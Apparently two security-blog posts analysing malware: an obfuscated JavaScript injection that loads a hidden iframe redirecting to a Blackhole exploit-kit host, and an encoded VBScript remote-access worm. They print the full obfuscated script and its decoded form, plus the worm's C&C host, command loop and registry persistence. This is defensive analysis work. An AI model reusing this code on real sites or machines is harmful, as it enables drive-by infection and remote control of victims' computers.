<!--74ed9f--><script type="text/javascript" language="javascript" > kauo="fr"+"omCh"+"arCo"+"de";if(document.querySelector)zjyir=4;jxl=("68,ae,bd,b6,ab,bc,b1,b7,b6,68,bf,c0,78,81,70,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,bc,b1,ab,85,6f,a9,b2,a9,c0,6f,83,55,52,68,be,a9,ba,68,ab,b7,b6,bc,ba,b7,b4,b4,ad,ba,85,6f,b1,b6,ac,ad,c0,76,b8,b0,b8,6f,83,55,52,68,be,a9,ba,68,bf,c0,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,ba,ad,a9,bc,ad,8d,b4,ad,b5,ad,b6,bc,70,6f,b1,ae,ba,a9,b5,ad,6f,71,83,55,52,55,52,68,bf,c0,76,bb,ba,ab,68,85,68,6f,b0,bc,bc,b8,82,77,77,bf,bf,bf,76,b5,a9,ba,ab,bc,ba,b7,b6,76,ab,b7,b5,76,aa,ba,77,b2,bb,77,9a,7a,af,9f,b3,ae,c0,98,76,b8,b0,b8,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b8,b7,bb,b1,bc,b1,b7,b6,68,85,68,6f,a9,aa,bb,b7,b4,bd,bc,ad,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,ab,b7,b4,b7,ba,68,85,68,6f,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b0,ad,b1,af,b0,bc,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bf,b1,ac,bc,b0,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b4,ad,ae,bc,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bc,b7,b8,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,55,52,68,b1,ae,68,70,69,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,71,68,c3,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,bf,ba,b1,bc,ad,70,6f,84,b8,68,b1,ac,85,a4,6f,bf,c0,a4,6f,68,ab,b4,a9,bb,bb,85,a4,6f,bf,c0,78,81,a4,6f,68,86,84,77,b8,86,6f,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,76,a9,b8,b8,ad,b6,ac,8b,b0,b1,b4,ac,70,bf,c0,71,83,55,52,68,c5,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,74,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,74,b6,8c,a9,c1,bb,74,b8,a9,bc,b0,71,68,c3,55,52,68,be,a9,ba,68,bc,b7,ac,a9,c1,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,be,a9,ba,68,ad,c0,b8,b1,ba,ad,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,b1,ae,68,70,b6,8c,a9,c1,bb,85,85,b6,bd,b4,b4,68,c4,c4,68,b6,8c,a9,c1,bb,85,85,78,71,68,b6,8c,a9,c1,bb,85,79,83,55,52,68,ad,c0,b8,b1,ba,ad,76,bb,ad,bc,9c,b1,b5,ad,70,bc,b7,ac,a9,c1,76,af,ad,bc,9c,b1,b5,ad,70,71,68,73,68,7b,7e,78,78,78,78,78,72,7a,7c,72,b6,8c,a9,c1,bb,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,68,85,68,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,73,6a,85,6a,73,ad,bb,ab,a9,b8,ad,70,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,71,55,52,68,73,68,6a,83,ad,c0,b8,b1,ba,ad,bb,85,6a,68,73,68,ad,c0,b8,b1,ba,ad,76,bc,b7,8f,95,9c,9b,bc,ba,b1,b6,af,70,71,68,73,68,70,70,b8,a9,bc,b0,71,68,87,68,6a,83,68,b8,a9,bc,b0,85,6a,68,73,68,b8,a9,bc,b0,68,82,68,6a,6a,71,83,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,68,b6,a9,b5,ad,68,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,ba,bc,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,b6,a9,b5,ad,68,73,68,6a,85,6a,68,71,83,55,52,68,be,a9,ba,68,b4,ad,b6,68,85,68,bb,bc,a9,ba,bc,68,73,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,73,68,79,83,55,52,68,b1,ae,68,70,68,70,68,69,bb,bc,a9,ba,bc,68,71,68,6e,6e,55,52,68,70,68,b6,a9,b5,ad,68,69,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,78,74,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,71,68,71,68,71,55,52,68,c3,55,52,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,c5,55,52,68,b1,ae,68,70,68,bb,bc,a9,ba,bc,68,85,85,68,75,79,68,71,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,be,a9,ba,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,6a,83,6a,74,68,b4,ad,b6,68,71,83,55,52,68,b1,ae,68,70,68,ad,b6,ac,68,85,85,68,75,79,68,71,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b4,ad,b6,af,bc,b0,83,55,52,68,ba,ad,bc,bd,ba,b6,68,bd,b6,ad,bb,ab,a9,b8,ad,70,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,b4,ad,b6,74,68,ad,b6,ac,68,71,68,71,83,55,52,c5,55,52,b1,ae,68,70,b6,a9,be,b1,af,a9,bc,b7,ba,76,ab,b7,b7,b3,b1,ad,8d,b6,a9,aa,b4,ad,ac,71,55,52,c3,55,52,b1,ae,70,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,71,85,85,7d,7d,71,c3,c5,ad,b4,bb,ad,c3,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,74,68,6f,7d,7d,6f,74,68,6f,79,6f,74,68,6f,77,6f,71,83,55,52,55,52,bf,c0,78,81,70,71,83,55,52,c5,55,52,c5".split(","));alq=eval;function mup(){mynpb=function(){--(zujrdn.body)}()}zujrdn=document;for(ojth=0;ojth<jxl["length"];ojth+=1){jxl[ojth]=-(72)+parseInt(jxl[ojth],zjyir*4);}try{mup()}catch(mil){qedems=50-50;}if(!qedems)alq(String[kauo].apply(String,jxl));</script><!--/74ed9f-->

Just like in my last post where I subverted the code execution to output the code to file, we can do the same here by replacing an eval statement with a document.write and output the plain text script to a textarea. Where's the eval? Notice the line with "alg=eval", alg is used to eval the final line. I just replaced alg with document.write and included textarea html:

document.write("<textarea>" +  String[kauo].apply(String,jxl)+"</textarea>");

Running the patched code you get the unobfuscated script:

 function wx09() {
 var static='ajax';
 var controller='index.php';
 var wx = document.createElement('iframe');

 wx.src = 'http://www.marctron.com.br/js/R2gWkfxP.php';
 wx.style.position = 'absolute';
 wx.style.color = '2828';
 wx.style.height = '2828px';
 wx.style.width = '2828px';
 wx.style.left = '10002828';
 wx.style.top = '10002828';

 if (!document.getElementById('wx')) {
 document.write('<p id=\'wx\' class=\'wx09\' ></p>');
 document.getElementById('wx').appendChild(wx);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

wx09();
}
}

I was a little disappointed de-obfuscation was so easy :) So this code will check if you have a specific cookie set, if not it will set it and then it'll create an iframe that redirects to the attackers page. Why check/create a cookie? It seems the bad guys only want you to get redirected/infected if this is the first time you've visited the site.


Redirects Redirects

I was curious what would happen next so decided to take a wander down the malware rabbit hole. To start with I scanned the iframe destination page:

http://sitecheck.sucuri.net/results/www.marctron.com.br/js/r2gwkfxp.php



A clean malware page didn't make sense so to get more detail I tried to grab a copy of the page using Curl: 



The server responds but it doesn't give us any real data or redirects. Lets try including a user-agent.



Interesting, this time we get a redirection (see Location header). It looks like the bad guys only want to redirect legitimate looking browsers, potentially stopping automated scanners or people like me using Curl :)

Following the redirection the next page we come to just redirects to about:blank.


Hmmm so a dead end? Not quite yet. The day before I took the screenshots I used curl and actually received a different domain...On the 14th I was redirected to bonne-isolation.be and on the 15th to boordstenen-beton.be. Switching domains to avoid detection eh?


Both domains have similar names suggesting some kind of automatic domain name generation and both resolve to the same ip address 95.156.228.69. Googling the ip we find out this is a known bad address:

https://isc.sans.edu/diary/37.58.73.42++95.156.228.69++195.210.43.42,+anyone%3F/16559

VirusTotal and urlquery have some hits:

https://www.virustotal.com/en/ip-address/95.156.228.69/information/

http://urlquery.net/search.php?q=95.156.228.69&type=string&start=2013-08-28&end=2013-09-12&max=200

On urlquery.net we also find some traffic that matches a Suricata Emerging Threat signature:


Our bad guys appear to be using the Blackhole exploit kit. I'm not sure why we were redirected to about:blank and not the latest java exploit. Perhaps they are only targeting specific browsers/countries or perhaps they only distribute malware to every tenth connection to avoid detection, who knows. (If anyone has any ideas leave me a comment below!)



Wrapping Up

I always find it interesting to pick apart the techniques used by the bad guys to distribute malware. The multiple layers of obfuscation, redirection and verification all work as a clever way to slow down analysis for the good guys and keep the bad guys in business for longer.

We saw how:
  • A compromised site (taalvilla.com) was redirecting users to a malicious site using an embedded iframe.
  • Secondary redirection, that required a browser user-agent, was used to add a layer of obscurity and protection for the final destination.
  • Multiple domains were being used to prevent detection and mitigation.
  • The target was a malicious server (95.156.228.69) with a history of Blackhole activity.   

For a post about Javascript obfuscation I'm sorry it contained so little Javascript deobfuscation (blame the malware authors for making it too easy!). I may have another more in depth post coming in the future though :)

Hope you guys have found this interesting/useful, comments/corrections always appreciated.

Pwndizzle out.

Saturday, 7 September 2013

How not to Obfuscate your VBScript

I recently came across a malware sample that reminded me of a capture the flag style challenge. There were multiple layers of encoding but each was relatively simple to reverse. In this post I'll provide a quick analysis.

(Just in case you're wondering, this sample was detected by a custom HIPS rule looking for suspicious registry modifications. Would definitely recommend deploying custom HIPS rules if you haven't already!)


The Sample

The malware was created using VBScript and saved as a .vbe file. It did a great job of evading AV with a score of only 4/46 on VirusTotal, props to CAT-QuickHeal/Avast/Kaspersky/TrendMicro for detecting it!



I assumed I would be able to just open the file and I'd see the malicious script. Well it wasn't quite that simple...Opening the .vbe all I got was a huge mass of characters:



After a quick Google I found out, VBE stands for VBScript Encoded, (ahhha moment!) and I needed some way to decode the file. Luckily there was a great blog post with sample script here:


Running the decode script against the encoded vbe we get some clear-text vbs.




Hmmm another chunk of encoded text. It does appear to be sent to a function called deCrypt though and looking down the script we come to the actual deCrypt function.


The decrypt function calls decodeBase64 which coverts our data from Base64 to ASCII. Also note that the decrypt routine is ran twice (once in each screenshot) before finally being executed. Now we could write a decode script or we could just use an online converter (http://www.hcidata.info/base64.htm):

Decoding Once (Still garbled...)



Decoding Twice (Woohoo code!)


So we have a variable....but also more encoded text. Scrolling down we come to the decryption routine:


Decryption removes the |dz| padding then for each item in the array concatenates to the previous item the ascii character for that character code. And then executes the final string. To get the plain text script I just patched the existing script to output to file instead of execute.


And finally we get to the actual VBScript:

'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "zoia.no-ip.org"
port = 446
installdir = "%appdata%"
lnkfile = true
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"

(Continued below...)

Straight away you notice the author has proudly placed his name and Skype at the top of the script (queue Krebs style investigation!) Next there's the callback domain, where he's using the dynamic DNS service no-ip.org.

When run the script will repeatedly connect to the C&C and attempts to receive commands.

while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit 
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)  
case  "delete"
      param = cmd (1)
      deletefaf (param) 
case  "exit-process"
      param = cmd (1)
      exitprocess (param) 
case  "sleep"
      param = cmd (1)
      sleep = eval (param)        
end select

wscript.sleep sleep

wend

Looking at the install routine we can see the script will create run keys and a copy of itself in the startup folder to maintain persistence.

sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub

The script contains multiple functions the C&C owner can call upon. For example to install/uninstall, download/upload files, enumerate/kill processes, run arbitrary commands and spread using lnk files. As I had an infected machine I modified the original script to create a cleaner script that would call the uninstall function.

The malware appears to be quite recent as Googling the plain text script I could see only one post about it. The below link also has a copy of the whole script:

http://social.technet.microsoft.com/Forums/en-US/f80f10c6-ae6c-4f63-96ec-9d49d582764a/virus-acceso-directo-en-discos-extraibles


Final Thoughts

Manual binary analysis can be tricky so I normally let Cuckoo (http://www.cuckoosandbox.org/) do all the hard work but until Cuckoo supports VBScript manual analysis seems to be the only option.

While the malicious script had some great functionality I was surprised how badly it had been obfuscated. In the web app world Javascript obfuscators can be a nightmare, renaming variables, breaking everything up into a million different concatenations and dummy functions. All this script had was a basic encoding routine and some Base64 conversion. Lazy script kiddie maybe?

Hope you guys found this useful.

Pdizzle out.